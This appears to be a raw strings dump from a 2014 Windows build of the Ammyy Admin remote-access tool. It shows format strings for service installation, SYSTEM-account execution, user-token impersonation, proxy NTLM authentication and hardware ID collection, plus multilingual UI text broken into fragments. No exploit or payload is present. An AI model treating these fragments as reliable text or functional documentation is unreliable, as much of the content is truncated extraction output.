Content-Type: 
Content-Length: %d
%s %s HTTP/1.1
Host: %s
%s %s://%s%s HTTP/1.1
Host: %s
CHttpClient::ReadHttpResponse(): failed to find status code in the HTTP response...
CHttpClient::ProcessResponse(): unexpected status code in the HTTP response... (%d)
CHttpClient::ParseHeaderField(): failed to find field in line '%s'
CHttpClient::HttpLogin(): username and password must be not empty.
CHttpClient::HttpLogin(): wrong call. There is no active session.
Proxy-Authorization: NTLM %s
Authorization: NTLM %s
ERROR in CHttpNTLMAuthObject::Prepare(): AcquireCredentialsHandle() failed (result = 0x%x)
ERROR in CHttpNTLMAuthObject::Prepare(): invalid token size (size = %u)
ERROR in CHttpNTLMAuthObject::Prepare(): QuerySecurityPackageInfo() failed (result = 0x%x)
ERROR in GetAuthRequestToken::GetAuthRequestToken(): InitializeSecurityContext() failed (result = 0x%x)
ERROR in CHttpNTLMAuthObject::GetAuthResponseToken(): wrong NTLM response found (%s)
ERROR in CHttpNTLMAuthObject::GetAuthResponseToken(): NTLM response not found
ERROR in CHttpNTLMAuthObject::ProcessResponseToken(): InitializeSecurityContext() failed (result = 0x%x)
.?AVRLException@@
EncryptorRSA:GK error=%d
EncryptorRSA:Encr error=%d
EncryptorRSA:Decr error=%d
cbbccb
mmlmmlmlmmm
VA.(,PF
pfTA/ 
peUC0!
pfUC0"
qgWD0!
qgXD2"
riXE2#
 -log_by_settings
 -debug
AmmyyAdmin
Ammyy Admin
S:\Ammyy\sources\main\AmmyyApp.cpp
00000409
-password
-connect
-set_proxy_
-dosas_
-log_by_settings
-nogui
-service
-debug
WinMainWithOutGUI()#12
WinMainWithOutGUI()#11
WinMainWithOutGUI()#%u
Global\Ammyy.Service.FinishEvent
WinMainWithOutGUI()#0 sessionId=%d, activeSessionId=%d, processId=%u, root='%s'
ammyy_id.log
%u %I64d '%s' '%s' '%s'
Macs(%u): 
sessions.bin
-elevated
 -lunch
AmmyyAdmin_%X
WinMain()#2 %d
-remove
-install
-outid
-setsettings
-rstid
----------------WinMain()#1 version=%s, threadId=%X system=%d, %d=%d, build='%s', args='%S'
v%s - %s
-showversion
error %d in IsSystemUser()#3
S-1-5-18
error in IsSystemUser()#2
error %d in IsSystemUser()#1
Error=%d WSAStartup()
OS version %X
AmmyyApp::PopupApp#1
 -notstartclient
SetCurrentDirectoryW('%s') error=%u
Can't find any writtable folder
CreateDirectoryW('%s') error=%u
EFGHIJKL123456MNOPQRSTUVWXYZabcdefghABCDijklmnopqrstuvwxyz0789/-
http://rl.ammyy.com
ToStream() not implemented
CCmdBase::Send()#11
CCmdBase::Send()#10
CCmdBase::Send()#9
Bad reply from server#2 %s {%x}
CCmdBase::Send()#8
Bad reply from server#1 {%d}
CCmdBase::Send()#7
Error {%d} occured while reading from server "%s" 
HTTP status code=%u
Proxy Authentication Required
Error {%d} occured while connecting to server "%s" 
CCmdBase::Send()#5_ERROR
CCmdBase::Send()#2
CCmdBase::Send()#1
Invalid cmdID=%d from server
kernel32.dll
GetUserGeoID
GetNativeSystemInfo
%u.%u.%u %d SP%u.%u
%u.%u.%u %d
S:\Ammyy\sources\main\CmdBase.cpp
%u.%u.%d
SetupDiEnumDeviceInfo() ERROR=%d
RegQueryValueEx("NetCfgInstanceId") ERROR=%d
NetCfgInstanceId
RegOpenKey(%s) Error=%d
System\CurrentControlSet\Control\Class
SetupDiGetDeviceRegistryProperty(SPDRP_DRIVER) ERROR=%d
AddAdrs_2 %u %s
SetupDiGetDeviceRegistryProperty(SPDRP_ENMERATOR_NAME) ERROR=%d
SetupDiGetClassDevs() ERROR=%d
SetupDiClassGuidsFromName() ERROR=%d
GetAddress()#2 ERROR=%d while DeviceIoControl()
S:\Ammyy\sources\main\../RL/RLHardwareMac.h
GetAddress()#1 ERROR=%d while CreateFile()
\\.\%s
AddHI %u %I64d '%s' '%s' '%s'
Need >8Mb allocation! RPDWZR() %u %u
RPDWZR()#1 %u %u
\\.\PhysicalDrive%u
SCSIDISK
\\.\Scsi%d:
\\.\PhysicalDrive%d
GetFirstDiskExtent() %u %u
\\.\A:
CCmdInit::ToStream()#1
Incorrect reply from server status='%s'
UPDATE
%.4hd%.2hd%.2hd-%.2hd:%.2hd:%.2hd.%.3hd
%s %d %d
Internal ERROR in file %s
BEGIN: %s
can't create folder '%s' error %d
IsFolderWrittable()#1 %u %s
IsFolderWrittable()#end OK
IsFolderWrittable()#0 %s
_tmp\AMMYY_Admin.exe
settings.rdp
ammyy.log
settings.bin
Can't delete file '%s' error=%d
error=%d while renaming '%s' to '%s'
Jan 15 2014 at 00:25:19
S:\Ammyy\sources\main\Common.cpp
SetFileSecurityA() error=%u %s
SetSecurityDescriptorDacl() error=%u
InitializeSecurityDescriptor() error=%u
LocalAlloc() error=%u
SetEntriesInAcl() error=%u
AllocateAndInitializeSid() error=%u
SHGetFolderPathW() Error=%X
GetComputerName() error=%d
Windows
 SP%u.%u
%u.%u.%u
ERROR %d in GetModuleFileNameW()
ConvToUTF8()#3 %d %d
ConvToUTF8()#2 %d
ConvToUTF8()#1 %d
ConvToUTF16()#3 %d %d
ConvToUTF16()#2 %d
ConvToUTF16()#1 %d
Ammyy Admin v
SetSize(%u, %u)
S:\Ammyy\sources\main\Image.h
ID is empty
Export
Import
ID / IP
Computer with ID=%s already exists in the contact book
Folder with such name already exists
S:\Ammyy\sources\main\DlgContactBook.cpp
Do you want to delete folder with all children items ?
Bad format of contact file, count=%X
contacts.bin
contacts3.bin
Current Contact book will be erased. Do you want to continue ?
32 bit
24 bit
16 bit
8 bit grayscale
 - Encoder
Description can't be empty!
JPEG compression : 
quality=%u
Compression level:  %u
Invalid JPEG Level
 - Encoder profiles
photo JPEG 20%
speed >5 Mb
speed  1 Mb - 5 Mb
speed  256 Kb - 1 Mb
speed <256 Kb
Profile with such settings already exists
Profile with such name already exists
At least 1 encoder profile should exist
External TCP ports allow you increase connection speed by establishing direct TCP connections to your partner.
If any port is OFF we recommend that you configure your firewall or router for port forwarding. 
Also any port might be blocked by other application which may be turned off if not required (port 443 might be blocked by Internet Information Server).
status
checking
Couldn't open local port
Port should be number in range 1-65535
This port already exists
https=
Not found ProxyServer in registry
ProxyServer
Not found ProxyEnable in registry
ProxyEnable
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Incorrect port
Incorrect address
Microsoft Sans Serif
Starter
Premium
Corporate
Can't create taskbar icon
S:\Ammyy\sources\main\DlgMain.cpp
&About Ammyy Admin...
Microsoft RDP
Speed Test only
File Manager only
Voice chat
Desktop - 
---ERROR---
Would you like to change proxy settings?
Critical error while updating Ammyy Admin.
Can't run '%s' error=%d
---NEED UPDATE---
-notstartclient
-startclient
Global\Ammyy.Target.EventSpeakerOn
Global\Ammyy.Target.StateEvent_%d%s_
Settings doesn't allow to use Client
desktop
speed_test
audio_chat
&page=buy.html
http://www.ammyy.com/?lang=
Free license (for home use only!)
Get ID
You need to restart application for applying new settings
S:\Ammyy\sources\main\DlgSettings.h
Default device
Windows Vista/7/2003/2008
Private
Public
Invalid router
Ammyy Permissions are protected from remote operator access
Desktop size = %d x %d x %d bits
average time of capturing = %.2f ms
average time of comparing = %.2f ms
AES-256 + RSA-1024
AES-256
http://www.ammyy.com
Error in Image
-minimize
CreateWindowEx() error=%u
RegisterClass() error=%u
We don't recommend for security reason to create permission for ANY operator without password
Do you want to continue?
The password was not correctly confirmed. Please ensure that the password and confirmation match exactly.
Incorrect computer ID
**********
Screen
Password
computer ID
Entry with new ID and password is already existed, but it will be replaced
Window mode
Full-screen mode
S:\Ammyy\sources\main\DlgRDPSettings.cpp
Default
Highest Quality (32 bit)
True Color (24 bit)
High Color (16 bit)
High Color (15 bit)
256 Colors (8 bit)
Do not play
Leave at remote computer
Bring to this computer
S:\Ammyy\sources\main\Downloader.cpp
Incorrect status code %d from '%s'
Error of getting file '%s'
Can't connect to server
Content-Type: application/x-www-form-urlencoded
Range: bytes=%d-
Accept-Encoding:gzip, deflate
Can't create file '%s' error %d
proc %s not found in %s (error %d)
DLL %s not found (error %d)
proc %s not found (error %d)
S:\Ammyy\sources\main\ImpersonateWrapper.cpp
WARN: GetProcAddress('WTSQueryUserToken') error=%d
WTSQueryUserToken
WARN: LoadLibrary('Wtsapi32.dll') error=%d
Wtsapi32.dll
ERROR %d OpenProcessToken()
ERROR %d OpenProcess()
ERROR: FindProcessByName('explorer.exe')
explorer.exe
ERROR: WTSQueryUserToken() error=%d
ERROR %d CloseHandle()
ERROR %d ImpersonateLoggedOnUser()
~ImpersonateWrapper()#1 error=%d
Invalid profile=%X
ERROR %d LoadUserProfile()
ERROR %d RevertToSelf()
ERROR %d GetUserName()
ERROR %d UnloadUserProfile()
Invalid router's IP is provided '%s'
Invalid router is provided '%s'
Access denied by server.
Couldn't get router ip, status='%s'
NOT_FOUND
Get Router IP
.?AVCWarningException@@
error=%d, while sending Initial msg
.?AVCStoppingException@@
ERROR: %s
Connected to router '%s:%d' successfully
Client's computer has other version
Incorrect password for router %s
Access denied by router %s
Invalid router's reply %u
Sent initial message to router %s
Connected to %s by HTTPS proxy
ERROR %d: failed to establish connection
Connecting to %s by proxy %s:%d
Connected to %s:%d
Couldn't connect to router %s:%d
Connecting to %s:%d
Invalid aaPingReply
Ping timeout was expired
Invalid initmsg %u
Invalid initmsg %u %u
Couldn't connect to routers %s
Your ID is empty
ReadNonBlock() error=%d
Router's 'Initial reply' timeout is expired
S:\Ammyy\sources\main\InteropCommon.cpp
CloseHandle() Error %d
CreateThread() Error %d
Error=%d while connecting to local RDP server
127.0.0.1
ReTranslator::DoSmart() return error=%d
ReTranslate#2 Direct Transfer FINISHED---
ReTranslate#1 Direct Transfer STARTED---
InteropTarget::ReTranslater#2 %d
InteropTarget::ReTranslater#1 i=%d
Invalid encryption settings
ERROR in CreateWindowW()
DecodeS1()#2
ReTranslator::Decode()#1 remote child use direct transfer now
DecodeS1()#1
setsockopt(SO_DONTLINGER) error=%d
DoSmart()#1 error=%d %d
ReTranslator::DoSmart()#159 solid socket send error=%d
ReTranslator::DoSmart()#159 solid socket read error=%d
ReTranslator::DoSmart()#166 child socket was closed, error=%d
ReTranslator::DoSmart()#170 sent request for direct transfer, bytes=%d/%d
ReTranslator::DoSmart()#165 child socket was closed, error=%d
ReTranslator::DoSmart()#139 Remote child socket was closed
ReTranslator::DoSmart()#0 solid=%X, child=%X
ReTranslator::SimpleRead1(%X) read %d bytes
ReTranslator::SimpleSend (%X) send %d bytes
ReTranslate()#1 error=%d %d
ReTranslator::SimpleRead()#1 error=%d
Norwegian
Finnish
Swedish
Hungarian
Danish
Turkish
Portuguese (Br)
Polish
Hebrew
French
Spanish
Italian
Russian
German
English
 Ammyy Admin v%s
Nastaven
Profily k
 heslo nen
, zkuste to znovu
m, zadejte heslo pro p
stup ke vzd
Zachovat datum a 
as soubor
m, zva
kup licence
ili jste limit %u spojen
 pro licenci %S na tomto po
et soub
ch spojen
zat spojen
ekejte na spojen
Po spu
ekat na spojen
 automaticky
stup k soubor
m pod aktu
ivatelsk
Nezobrazovat|Zobrazovat tvar|Zobrazovat tvar a polohu
ka|Mal
ka|Norm
ipka|Bez kurzoru
Toto spojen
 je neaktivn
ete se znovu p
ipojit b
kolika sekund.
 na autorizaci na vzd
adavek k p
stupu.
ipojen
Hlasov
vce soubor
rovat schr
nku oper
rovat schr
nku klienta
Zobrazit obrazovku
it moji odpov
 pro tohoto oper
tor%s se p
ipojuje k va
emu po
 Ammyy Admin v%s
 se o jinou verzi, spojen
 nemus
 pracovat spr
il spojen
 ID=%u nebyl nalezen.
Zobrazit tip - indikuje blik
 kurzoru my
zat vizu
 efekty
zat skl
 plochy
zat pozad
 plochy
nit tato nastaven
ed vzd
m oper
Spustit pod 
tem SYSTEM na %S
Zaznamen
vat ladic
 informace do souboru
Upozornit p
 do re
imu cel
 obrazovky
dat IP klientova routeru
stupov
m, zadejte ID/IP klienta
Pouze zobrazit (bez vzd
ho ovl
ID/IP klienta
&Povolit
 nastaven
Nastaven
Upravit
Odstranit
Instalace
Windows slu
ipojit
p do plik
w z bie
cego konta u
ytkownika
Zdalny komputer obs
uguje inn
 sesje
Ta sesja jest nieaktywna.
esz si
 ponownie za kilka sekund
Oczekiwanie na autoryzacje ze zdalnego komputera
Zdalny komputer odm
taj moj
 odpowied
 dla tego operatora
Operator o%s pr
buje nawi
 z Tob
czenie
Zdalny komputer u
ywa innej wersji Ammyy Admin. v%s
e to powodowa
 nieprawid
ci w dzia
Zdalny komputer przerwa
czenie
ID=%u Komputera nie zosta
o znalezione
Pokazuj podpowiedzi
Zablokuj efekty wizulane
Zablokuj zmiany kompozycji pulpitu
Zablokuj zmiany tapety pulpitu
 przed zmian
 ze zdalnej lokalizacji
anie na koncie klienta %S
Logowanie debugowania do pliku
Uwaga prze
czenie w tryb pe
nego ekranu
Zapytanie o IP routera klienta
ka adresowa
Ustawienia dost
 ID klienta
ID/IP Klienta
Twoje ID
&Odzrzu
&Akceptuj
Ustawienia wsp
Ustawienia
Edytuj
Zainstaluj
RDP Ayarlar
ifreleyici profilleri
ifre do
tfen tekrar deneyin
Uzak bilgisayara ba
lanmak i
ifre giriniz
zinler
ifreleme
Dosyalar
n tarih/zaman
 kopyala
tfen lisans almay
Bu bilgisayarda %S lisans
n %u ba
na ula
Uzak bilgisayar ba
na ula
 bekleniyor
 bekleniyor" modunu otomatik olarak ba
Dosyalara oturum a
 kullan
n hesab
 ile eri
sterme|
eklini g
eklini ve pozisyonunu g
Nokta|K
k nokta|Normal ok|
 aktif de
Bir ka
 saniye i
inde aktif bir ba
labilir.
Uzak bilgisayardan yetki bekleniyor
Uzak bilgisayar ba
inizi reddetti.
RDP ba
Sesli g
Dosya y
neticisi
Operat
n panosuna kopyala
stemcinin panosuna kopyala
Uzaktan eri
Bu operat
in yan
Operat
r%s bilgisayar
Uzak bilgisayar Ammyy Admin v%s
 kullan
yor. S
m farkl
undan dolay
 program sorunlu 
abilir!
Uzak bilgisayar ba
 kesti.
ID=%u'li bilgisayar bulunamad
ster - fare imleci parlamas
rsel efektleri g
sterme
effafl
k efektini g
sterme
Arkaplan resmini g
sterme
enekleri uzak operat
iminden koru
%S sistemlerinde SYSTEM hesab
Debug kayd
 dosyaya kaydet
Tam ekran moduna ge
erken uyar
terinin router IP'sini iste
im defteri
zinleri
tfen istemci ID/ IP giriniz
Sadece 
stemci ID/ IP
ID'niz
&Reddet
&Kabul Et
Ayarlar
Durdur
Servis
stemci
 Ammyy Admin. 
 ID=%u 
ID/IP 
El ordenador remoto est
 ocupado con otra sesi
La sesi
n se encuentra inactiva.
Puede reconectarse a la sesi
n activa en unos segundos.
Esperando Autorizaci
n de la PC remota.
El ordenador remoto rechaz
 su intento de acceso.
Recordar la respuesta para 
ste operador.
El Operador con la%s est
 conectandose a su PC.
&Rechazar
&Aceptar
La PC remota utiliza otra versi
n de Ammyy Admin v%s
It's, por lo que la aplicaci
n podr
a no funcionar correctamente.
El ordenador remoto ha finalizado la sesi
El ordenador con el ID=%u no se ha encontrado.
ID/IP Cliente
Por favor ingrese el ID del cliente
Detener
Comenzar
rrdatorn 
r upptagen med andra sessioner.
Denna session 
r inaktiv.
 Du kan 
teransluta till aktiv session om n
gra sekunder.
ntar p
telse fr
rdatorn
rrdatorn nekade 
tkomst.
Kom ih
g mitt svar f
r denna operat
Operat
r med%s ansluter till din PC.
&Acceptera
rrdatorn anv
nder Ammyy Admin v%s
r en annan version, s
 programmet kanske inte fungerar.
rrdatorn avslutade sessionen
Datorn med ID=%u hittades inte
nligen ange klientens ID
Operat
Ditt ID
Anslut
O computador Remoto est
 ocupado com outra sess
Esta sess
o esta inativa.
 poder
 reconectar em alguns segundos.
Esperando Autoriza
o do PC Remoto.
O computador Remoto rejeitou seu pedido de acesso.
Relembrar minha resposta para este operador
O Operador com%s esta conectando ao seu PC.
&Rejeitar
&Aceitar
O Computador Remoto usa outra vers
o do Ammyy Admin v%s
 outra vers
o, o programa poder
 trabalhar incorretamente!
O Computador Remoto fechou essa sess
O Computador ID=%u n
o foi encontrado.
Cliente ID/IP
Por favor insira a ID do Cliente
Operador
Cliente
Sua ID
Conectar
RDP-innstillinger
Krypteringsprofiler
Passordet er feil. Vennligst pr
v igjen
Vennligst skriv inn passord for 
 koble til den eksterne datamaskinen
Tillatelser
Kryptering
Kopier filenes dato/klokkeslett
Vennligst kj
p en lisens
Du har overskredet %u 
kt-grensen for %S denne datamaskinens lisens
Den eksterne datamaskinen overskred 
kt-grensen
Opprett 
Vent p
Start "Vent p
kt" Automatisk modus
Gi tilgang til filer under gjeldende brukerkonto
Ikke vis|Vis form|Vis form and posisjon
Punkt|Lite punkt|Normal peker|Ingen mark
Denne 
kten er inaktiv.
Du kan koble til den aktive 
kten om noen sekunder.
Venter p
 godkjenning fra den andre pc'en
Den eksterne datamaskinen nektet tilkoblingsfors
RDP-tilkobling
Filbehandler
Kopier operat
rens utklippstavle
Kopier klientens utklippstavle
Fjernkontroll
Vis skjermen
Husk svaret for denne operat
Operat
ren%s kobler til din PC.
Den eksterne pc'en bruker Ammyy Admin v%s
Det er en annen versjon, s
 programmet kan fungere p
 en feil m
Den eksterne datamaskinen stengte denne 
Datamaskinens ID=%u ble ikke funnet.
Vis verkt
 av visuelle effekter
 av skrivebordsoppretting
Ikke vis skrivebordsbakgrunn
Hindre ekstern operat
 endre disse innstillingene
r under SYSTEM-konto i %S
Logg feils
kingsinformasjon til fil
Advar ved bytte til fullskjermmodus
Be om klientens router-IP
Kontakter
Adgangstillatelser
Vennligst skriv inn klient-ID/ IP
Bare se
Klient-ID/ IP
Din ID
&Godta
Nettverk
vanlig
Innstillinger
Rediger
Legg til
Avslutt
Koble til
De andere computer is bezig met een andere sessie.
De sessie is niet actief.
 U kunt opnieuw verbinden in enkele seconden
Op toestemming wachten van andere PC
De andere computer heeft toegang geweigerd.
Onthoudt mijn antwoord voor deze operator
Operator met%s is verbinding aan het maken met uw PC.
&Weiger
&Accepteer
De andere computer gebruikt Ammyy Admin v%s
l's andere versie, en kan problemen geven!
De andere computer heeft de sessie afgebroken.
De computer ID=%u is niet gevonden.
Client ID/IP
Vul client ID in
Impostazioni RDP
Profili encoder
La password inserita non 
 valida, riprovare
Inserire la password di accesso al computer remoto
Permessi
Criptazione
Copia ora/data dei file
Valutare l'acquisto di una licenza
Il limite di %u sessions per la licenza %S di questo computer 
 stato superato
Il computer remoto ha superato il limite di sessioni concomitanti
Crea sessione
Attendi sessione
Avvia modalit
 "attendi sessione" automaticamente
Accedi ai file con ut
Non mostrare|Mostra forma|Mostra forma e posizione
Punto|Piccolo punto|Normale freccia|Nessun cursore
Questa sessione 
 inattiva.
 possibile riconnettersi a una sessione remota tra qualche secondo.
In attesa di autorizzazione dal PC remoto
Il computer remoto ha rifiutato la richiesta d'accesso.
Connessione RDP
Chat vocale
Copia appunti dell'operatore
Copia appunti del client
Controllo remoto
Visualizza schermata
Ricorda la mia risposta per questo operatore
L'operatore%s si sta collegando al PC.
Il pc remoto usa una versione diversa di Ammyy Admin v%s
, pertanto il programma non pu
 funzinare correttamente!
Il computer remoto ha chiuso questa sessione.
L'ID=%u del computer non 
 stata trovata.
Mostra descrizione comando - fai lampeggiare il puntatore del mouse
Disattiva effetti visivi
Disattiva composizione desktop
Disattiva sfondo del desktop
Proteggi queste impostazioni da operatore remoto
Esegui sotto account SYSTEM su %S
Registra le info di debug in un file
Avvisa al passaggio in modalit
 a pieno schermo
Richiedi IP del router del client
Rubrica
Permessi di accesso
Inserire ID/IP client
Solo visualizzazione
ID client/ IP
Il tuo ID
&Rifiuta
&Accetta
Comune
Impostazioni
Modifica
Aggiungi
Rimuovi
Arresta
Installa
Servizio
Connetti
Operatore
tres RDP
Profils encodeur
Le mot de passe que vous avez entr
 n'est pas valide, veuillez r
essayer
Veuillez saisir le mot de passe pour acc
 l'ordinateur 
 distance
Autorisations
Chiffrement
Copier la date/l'heure des fichiers
Veuillez envisager d'acheter une licence
Vous avez d
 la limite de %u sessions avec la licence %S sur cet ordinateur
L'ordinateur 
 distance a d
 la limite de sessions simultan
er la session
Attendre la session
Commencer automatiquement en mode "Attendre la session"
der aux fichiers avec le compte utilisateur actuel
Ne pas afficher|Afficher forme|Afficher forme et position
Point|Petit point|Fl
che normale|Aucun curseur
Cette session est inactive.
Vous pouvez vous reconnecter 
 une session active dans quelques secondes.
En attente de l'autorisation du PC 
 distance
L'ordinateur 
 distance a rejet
 votre requ
te d'acc
Connexion RDP
Chat vocal
Gestionnaire de fichiers
Copier le presse-papiers de l'op
rateur
Copier le presse-papiers du client
 distance
Afficher l'
Se souvenir de ma r
ponse pour cet op
rateur
rateur%s se connecte 
 votre PC.
Le PC 
 distance utilise Ammyy Admin v%s
La version est diff
rente et le programme ne peut donc pas fonctionner correctement
L'ordinateur 
 distance a ferm
 cette session.
L'ID de l'ordinateur=%u n'a pas 
 trouv
Afficher info-bulle - cause du clignotement du curseur souris
sactiver les effets visuels
sactiver la composition du bureau
sactiver l'arri
re-plan du bureau
cher l
rateur 
 distance de modifier ces r
glages
cuter sur le compte SYSTEM sur %S
Enregistrer les informations de d
bogage dans le fichier
Avertir lors du passage en mode plein 
Demander l'IP du routeur du client
Contacts
Autorisations d'acc
Veuillez saisir ID/IP Client
Affichage uniquement
ID/IP Client
Votre ID
&Refuser
&Accepter
Commun
Modifier
Ajouter
Supprimer
marrer
Installer
Quitter
Se connecter
rateur
Varattu, et
tietokoneessa on toinen istunto auki.
Istunto ei ole aktiivinen. 
Aktivoidaksesi istunnon, voit yhdist
 uudelleen hetken kuluttua.
Odotetaan valtuutusta et
tietokoneelta
tietokone hylk
si yhteysyrityksen.
Muista valinta t
lle operaattorille
Operaattori%s yritt
 yhdist
 tietokoneellesi.
Ohjelma ei voi toimia oikein. Et
tietokoneen k
 on eri versio Ammyy Admin v%s
 ohjelmistosta.
tietokone sulki yhteyden.
Tietokonetta ID:ll
 %u ei l
Asiakas-ID/IP
 asiakas-ID
Operaattori
Asiakas
ID-numero
Yhdist
Aloita
RDP-Einstellungen
Encoder-Profile
Das eingegebene Kennwort ist ung
ltig, bitte versuchen Sie es noch einmal
Bitte geben Sie das Kennwort f
r den Zugriff auf den Remotecomputer ein
Berechtigungen
Verschl
sselung
Datum/Uhrzeit von Dateien kopieren
Bitte erw
gen Sie den Kauf einer Lizenz
Sie haben das Limit von %u Sitzungen mit Lizenz %S auf diesem Computer 
berschritten
Der Remotecomputer hat das Limit gleichzeitiger Sitzungen erreicht
Sitzung erstellen
Auf Sitzung warten
Modus "auf Sitzung warten" automatisch starten
Mit aktuellem Benutzerkonto auf Dateien zugreifen
Nicht anzeigen|Umriss anzeigen|Umriss und Position anzeigen
Punkt|Kleiner Punkt|Normaler Pfeil|Kein Cursor
Diese Sitzung ist inaktiv.
In einigen Sekunden ist eine neue Verbindung mit einer aktiven Sitzung m
glich.
Warten auf Annahme des Remotecomputers
Die Zugriffsanforderung wurde vom Remotecomputer abgelehnt.
RDP-Verbindung
Sprach-Chat
Dateimanager
Zwischenablage des Operators kopieren
Zwischenablage des Clients kopieren
Remotesteuerung
Bildschirm anzeigen
Meine Antwort f
r diesen Operator speichern
Operator %s stellt eine Verbindung mit Ihrem PC her.
Auf dem Remote-PC wird Ammyy Admin v%s verwendet.
Das ist eine andere Version, es kann daher zu fehlerhafter Ausf
hrung kommen!
Diese Sitzung wurde vom Remotecomputer geschlossen.
Der Computer ID=%u wurde nicht gefunden.
Tooltip anzeigen 
 Ursache f
r blinkenden Cursor
Visuelle Effekte deaktivieren
Desktopzusammensetzung deaktivieren
Desktophintergrund deaktivieren
Diese Einstellungen vor Remoteoperator sch
Unter Konto SYSTEM auf %S ausf
Debug-Daten in Datei protokollieren
Bei Umschalten in den Vollbildmodus warnen
Router-IP des Clients anfordern
Kontaktbuch
Zugriffsberechtigungen
Bitte Client-ID/-IP eingeben
Schreibgesch
Client-ID/-IP
Ihre ID
&Ablehnen
&Annehmen
Netzwerk
Gemeinsam
Einstellungen
Bearbeiten
Hinzuf
Entfernen
Anhalten
Starten
Installieren
Beenden
Verbinden
Fjerncomputeren er optaget af en anden session.
Denne session er inaktiv. 
 Du kan tilslutte igen om et 
jeblik.
Afventer godkendelse fra fjern PC.
Adgang n
Gem mit svar
Admin med%s tilslutter til din PC
&Afvis
&Godkend
Fjernbrugeren anvender Ammyy Admin v%s
 Programmet virker muligvis ikke korekt.
Fjernbrugeren afsluttede sessionen
Computer med ID=%u ikke fundet
Klient-ID/IP
Venligst angiv Klient-ID
Operat
Klient
Tilslut
voli sz
pen egy m
sik kapcsolat m
A kapcsolat inakt
jrakapcsol
dhat n
sodperc m
voli sz
p enged
voli sz
p visszautas
totta a kapcsolat elfogad
kezzen a v
laszomra ezt az oper
tort illetoen
vetkezo%s sz
tor az 
hez kapcsol
&Elutas
&Elfogad
voli sz
ltal haszn
lt Ammyy Admin verzi
Mivel a verzi
ro, hib
phet fel.
voli sz
p megszak
totta a kapcsolatot
vetkezo ID nem tal
Kliens ID/IP
rem, adja meg a kliens ID-j
Kliens
n ID-je
Kapcsol
 Ammyy Admin 
 Ammyy Admin v%s
 ID=%u 
 ID/ IP 
ID/ IP 
Path for acessing of File Manager. (Empty for accessing all files).
Would you like to close Ammyy Admin application and all active sessions ?
Number of current active sessions: %u
Automatically lock this computer after finishing all sessions
Video system speed test
RDP Settings
Encoder profiles
The password you have entered is invalid, please try again
Please enter password for accessing remote computer
Permissions
Encryption
Copy date/time of files
Please consider buying a license
You've exceeded %u sessions limit for %S license on this computer
The remote computer exceeded concurrent sessions limit
Create session
Wait for session
Start "wait for session" mode automatically
Access files under current user account
Don't show|Show shape|Show shape and position
Dot|Small dot|Normal arrow|No cursor
This session is inactive.
You can reconnect to an active session in a few seconds.
Waiting for authorization from remote PC
Remote computer rejected your query to access.
RDP connection
File manager
Copy clipboard of operator
Copy clipboard of client
Remote control
View screen
Remember my answer for this operator
Operator%s is connecting to your PC.
The remote pc uses Ammyy Admin v%s
It's other version, so the program can work incorrectly!
The remote computer closed this session.
The computer ID=%u wasn't found.
Show tooltip - mouse cursor blinking cause
Disable visual effects
Disable desktop composition
Disable desktop background
Protect these settings from remote operator
Run under SYSTEM account on %S
Log debugging info into file
Warn at switching to the full-screen mode
Request client's router IP
Contact book
Access Permissions
Please enter client ID/ IP
View only
Client ID/ IP
Your ID
&Reject
&Accept
Network
Common
Settings
Remove
Install
Service
Connect
Operator
Client
ConvToUTF16()#2 %d %d %d
Incorrect key GetValue()
ServerInteract::SendInitCmd()#6
ServerInteract::SendInitCmd()#4 %s
ServerInteract::SendInitCmd()#3 updating to new version
ServerInteract::SendInitCmd()#1
Downloading '%s' %d%%, %.1f Kbytes/sec
UpdateResource() error=%d
EndUpdateResource() error=%d
BINARY
BeginUpdateResource() error=%d
ServerInteract::UpdateToNewVersion()#20 starting service
Couldn't remove file '%s'
Global\Ammyy.Service.CloseSelfEvent
ServerInteract::UpdateToNewVersion()#10 stopping service
_tmp\AMMYY_Admin.bin
ERROR: StartServiceCtrlDispatcher() %d
CService::WinMain()#begin
ServiceMain() Invalid session
-lunch
ERROR %d SetServiceStatus()
CService::ServiceWorkThread()#13
CService::ServiceWorkThread()#12
CService::ServiceWorkThread()#11
CService::ServiceWorkThread()#10
ServiceWorkThread() creating new process, session=%d
ERROR: CloseHandle()#533 %d
CService::ServiceWorkThread()#1
ERROR: GetExitCodeProcess() %d
WinStationQueryInformationW
ERROR: GetToken()#2
ERROR: SetTokenInformation() error=%d
ERROR: DuplicateToken() error=%d
ERROR: OpenProcessToken() error=%d
ERROR: CloseHandle(pi.hThread) %d
ERROR: CreateProcessAsUser() error=%d, session=%d
CreateProcess1()#3 %d error=%d
ERROR: CloseHandle(hToken) %d
ERROR: OpenProcess(%u) error=%d
CreateProcess1()#1 session=%d custom=%d
ERROR %d CreateServiceW() while registering the Ammyy service
The Ammyy service is already registered
SYSTEM\CurrentControlSet\Control\SafeBoot\Network\
The Ammyy service could not be found
The Ammyy service could not be removed, error=%d
The Ammyy service is already marked for removing
The Ammyy service could not be stopped
ERROR %d ControlService()
ERROR %d QueryServiceStatus()
ERROR %d (%S) while starting the AMMYY service
 service has been removed
 service has been stopped
 service has been started
 service was successfully registered
It will automatically be run the next time this computer is restart or you can start it manually.
OpenSCManager() error %d
DeleteService() error %d
QueryServiceStatus() error %d
StartService() error %d
OpenService() error %d
JustLunch() Invalid Session
SOFTWARE\Ammyy\Admin
aSg@f1H_hjy!
.?AVRLStreamOutException@@
settings3.bin
Router is not defined
HKEY_LOCAL_MACHINE %s
SHdr1 %s
LoadHr() %d %s
sS:\Ammyy\sources\main\StdAfx.cpp
Error %d socket()
CreateInternal()#1
Error %d closesocket()
couldn't listen port %d, error = %d
couldn't bind port %d, error = %d
select() error=%d
accept() error=%d
Error %d while connecting to '%s', port=%u
ERROR %d disabling Nagle's algorithm
ERROR %d while setting keepalive
ERROR %d setsockopt(SO_KEEPALIVE)
getaddrinfo('%s') error=%d, result=%X
getaddrinfo('%s') couldn't be resolved
\wship6
\ws2_32
freeaddrinfo
getnameinfo
getaddrinfo
ERROR %d while listen() in ListenFreePort(), port=%d
ERROR while search free TCP ports %u-%u
Error=%d in SetBlockingMode(%u)
setsockopt(SO_LING